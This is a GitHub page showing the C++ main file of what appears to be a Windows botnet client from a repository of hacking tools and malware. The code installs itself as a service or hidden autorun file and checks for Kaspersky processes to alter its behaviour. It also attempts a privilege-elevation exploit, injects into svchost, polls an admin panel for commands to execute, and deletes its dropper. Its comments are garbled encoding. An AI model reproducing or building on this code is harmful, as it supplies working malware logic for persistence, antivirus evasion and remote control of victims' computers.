Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

6.4 KB
Raw Blame
#include "core\core.h"
#include "core\rand.h"
#include "core\injects.h"
#include "core\file.h"
#include "core\elevation.h"
#include "main.h"
#include "adminka.h"
#include "task.h"
#include "service.h"

//���� ������� ����� ����� ������� ����� ������ ��������
char fileDropper[MAX_PATH];
//�������� ������� � ����� ������������ �����
bool SetAutorun( StringBuilder& dropper );
//��������� �������� �� ������� ��������������� ������
bool IsAutorun( StringBuilder& dropper );
//��������� � ������������
bool InstallBot( StringBuilder& path );
//���������� true, ���� ������� ����������
bool IsPresentKAV();
//���������� true ���� ������� �������� ����, � � Config::state ������������� ���� RUNNED_DUBLICATION
bool IsDuplication();
//������ � ��������
DWORD WINAPI MainLoop( void* );
DWORD WINAPI InstallBotThread( void* );

void main()
{
	if( !WinAPI::Init() ) return;
	if( !Core::Init() ) return;
	if( !Config::Init() ) return;
	Rand::Init();
	StringBuilder path( fileDropper, sizeof(fileDropper) );
	if( !Path::GetStartupExe(path) ) return;

	char paramUpdate[4];
	paramUpdate[0] = ' ';
	paramUpdate[1] = '-';
	paramUpdate[2] = 'u';
	paramUpdate[3] = 0;
	int posParam = 0;

	char* cmdLine = API(KERNEL32, GetCommandLineA)();
	int lenLine = Str::Len(cmdLine);

	if( (posParam = Str::IndexOf( cmdLine, paramUpdate, lenLine, sizeof(paramUpdate) - 1 )) > 0 ) //������� ����������
	{
		DbgMsg( "��������� ����������" );
		Delay(5000); //���� ���� ������ ���������
		Config::state |= EXTERN_NAME_MANAGER | RUNNED_UPDATE;
		StartBot();
	}
	else 
	{
		//���������������� ������ �� ����
//		char path2[MAX_PATH];
//		API(KERNEL32, GetTempPathA)( MAX_PATH, path2 );
//		API(KERNEL32, CreateFileA)( path2, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 );
//		if( API(KERNEL32, GetLastError)() == 3 )
		{
			IsDuplication();
			//������� �������� �� ���� ��������
			if( Service::IsService(path) )
			{
				if( (Config::state & RUNNED_DUBLICATION) == 0 )
				{
					fileDropper[0] = 0; //��������� ������������
					Config::state |= IS_SERVICE;
					if( !Service::Start() )
						StartBot();
				}
			}
			else if( IsAutorun(path) ) //���������� �� ������������
			{
				if( (Config::state & RUNNED_DUBLICATION) == 0 )
				{
					fileDropper[0] = 0; //��������� ������������
					StartBot();
				}
			}
			else //������� �������
			{
				DbgMsg( "������� �������" );
				StringBuilderStack<MAX_PATH> exeSdrop = path;
				bool res = false;
#ifndef OFF_SDPROP
				if( IsPresentKAV() ) 
				{
					Config::state |= NOT_DIRECT_INJECT /*| NOT_USED_INJECT | NOT_INSTALL_SERVICE | NOT_INSTALL_AUTORUN*/; //��� ������� ��������� ������ ������
				}
				else
					if( (Config::state & SPLOYTY_OFF) == 0 )
						res = Elevation::Sdrop(0);
#endif
				if( res ) //�������� ��������� �������� � ���������� �������
				{
					DbgMsg( "Sdrop ok" );
				}
				else
				{
					DbgMsg( "Sdrop bad" );
				}
				StartBot();
			}
		}
	}

	API(KERNEL32, ExitProcess)(0);
}

bool StartBot()
{
	return JmpToSvchost2(MainLoop);
}

bool InstallBot( StringBuilder& path )
{
	//�������� ������������ ��� ������
#ifndef OFF_SERVICE 
	if( (Config::state & NOT_INSTALL_SERVICE) == 0 )
		if( Service::Install( path, false ) )
		{
			Config::state |= IS_SERVICE;
			return true;
		}
#endif
#ifndef OFF_AUTORUN
	//�������� ����� � ������������
	if( (Config::state & NOT_INSTALL_AUTORUN) == 0 )
		if( SetAutorun(path) )
			return true;
#endif
	return false;
}

DWORD WINAPI MainLoop( void* )
{
	if( !InitBot() ) return 0;

	if( !AdminPanel::Init() ) return 0;

	if( (Config::state & RUNNED_DUBLICATION)  )
	{
		if( fileDropper[0] )
			InstallBotThread(0); //��������� ����� ��������� ������������
		return 0;
	}
	else
	{
		if( fileDropper[0] ) //��� ������� �������
		{
			Config::fileNameBot[0] = 0; //����� �� ��� ������������ (�������) �������
			RunThread( InstallBotThread, 0 ); //��� ���������� ��������� ��� ������������ � ������ ��������� ���
		}
		Task::Init();
		StringBuilder cmd(256);
		for(;;)
		{
			DbgMsg( "������ �������" );
			if( AdminPanel::GetCmd(cmd) )
			{
				Task::ExecCmd( cmd, cmd.Len() );
			}
			Delay(Config::waitPeriod);
		}
	}

	ReleaseBot();
	API(KERNEL32, ExitProcess)(0);
	return 0;
}

bool SetAutorun( StringBuilder& dropper )
{
	StringBuilderStack<MAX_PATH> autorun;
	Config::FullNameBotExe(autorun);
	Str::Copy( Config::fileNameBot, sizeof(Config::fileNameBot), autorun, autorun.Len() );
	DbgMsg( "�������� � ������������: %s", autorun );
	File::SetAttributes( autorun, FILE_ATTRIBUTE_NORMAL ); //���� ���� ����������, �� ������� ��������� ������, ����� ������������ ��� �������
	if( File::Copy( dropper, autorun ) )
	{
		DbgMsg( "��������� � ������������ ������ �������" );
		File::SetAttributes( autorun, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );
		return true;
	}
	else
		DbgMsg( "� ������������ �� ������� ������������" );
	return false;
}

bool IsAutorun( StringBuilder& dropper )
{
	StringBuilderStack<32> name;
	Config::NameBotExe(name);
	int res = dropper.IndexOf(name);
	if( res >= 0 )
		return true;
	return false;
}

DWORD WINAPI InstallBotThread( void* )
{
	StringBuilder path( 0, sizeof(fileDropper), fileDropper );
	if( (Config::state & RUNNED_DUBLICATION) == 0 )
	{
		DbgMsg( "������� ����� ����������" );
		Delay(5000); //������� ����, ����� ����������� ������ ����� ���������, ���� ������ �����
		//�������� ������� � ���� �������, ������� ����� ����� ��������� ��� ����������
		//����� ���������� ��-�� ���� ��� KAV ����� ����������� exe � ��������� �����, � � ���� ����� �� �����
		if( (Config::state & NOT_INSTALL_SERVICE) == 0 )
			Service::Copy(path); 
		InstallBot(path);
	}
	for( int i = 0; i < 10; i++ )
	{
//��� ������� ����� ��� ��������������, ���� �������� �������, �� ����� ��V
//����� KAV �� �������� ���� ������ �������� ����
		DbgMsg( "������� ������� %s, ������� %d", fileDropper, i + 1 );

		HANDLE hfile = File::Open( fileDropper, GENERIC_WRITE, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE );
		if( hfile )
		{
			File::Close(hfile);
			DbgMsg( "������� ������� ������" );
			break;
		}
		Delay(1000);
	}
	return 0;
}

bool IsPresentKAV()
{
	if( Process::GetPID( _CS_("avp.exe") ) ) return true;
	if( Process::GetPID( _CS_("avpui.exe") ) ) return true;
	return false;
}

bool IsDuplication()
{
	if( Config::state & CHECK_DUPLICATION )
	{
		if( Config::CreateMutex() )
			Config::ReleaseMutex(); //����� �����������, ������ ���������� �����
		else
		{
			Config::state |= RUNNED_DUBLICATION;
			DbgMsg( "������� ��������" );
			return true;
		}
	}
	return false;
}